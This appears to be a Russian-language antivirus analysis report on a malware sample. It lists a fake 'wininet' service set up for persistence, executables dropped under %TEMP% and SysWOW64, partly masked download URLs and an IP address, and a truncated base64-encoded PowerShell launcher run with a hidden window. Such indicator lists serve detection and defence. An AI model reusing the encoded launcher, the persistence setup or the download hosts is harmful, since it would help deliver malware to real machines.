Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\wininet] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wininet] 'ImagePath' = '"%WINDIR%\SysWOW64\mfc120ita\wininet.exe"'
- 'wininet' "%WINDIR%\SysWOW64\mfc120ita\wininet.exe"
- 'wininet' %WINDIR%\SysWOW64\mfc120ita\wininet.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABQADMAZAA4ADQAbgBpAD0AKAAnAFUAJwArACgAJwBmACcAKwAnADAAbQB3ACcAKwAnAHIAbAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAdABFAG0AcABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAG...
- %TEMP%\word\2019\sks2c17.exe
- %WINDIR%\syswow64\mfc120ita\wininet.exe
- %TEMP%\word\2019\sks2c17.exe в %WINDIR%\syswow64\mfc120ita\wininet.exe
- '17#.#1.208.86':80
- http://ab#####dbelow.com.au/cgi-bin/Lbi20Tu/
- http://17#.#1.208.86/6gnO1Gu/8DVtQYez2/YRxSboflXUVMw/uxgHcRDAkthq/3VqlGUG96/G63NOHJg6AHTr5AD/
- DNS ASK ab#####dbelow.com.au
- '%TEMP%\word\2019\sks2c17.exe'
- '%WINDIR%\syswow64\mfc120ita\wininet.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABQADMAZAA4ADQAbgBpAD0AKAAnAFUAJwArACgAJwBmACcAKwAnADAAbQB3ACcAKwAnAHIAbAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAdABFAG0AcABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAG...' (со скрытым окном)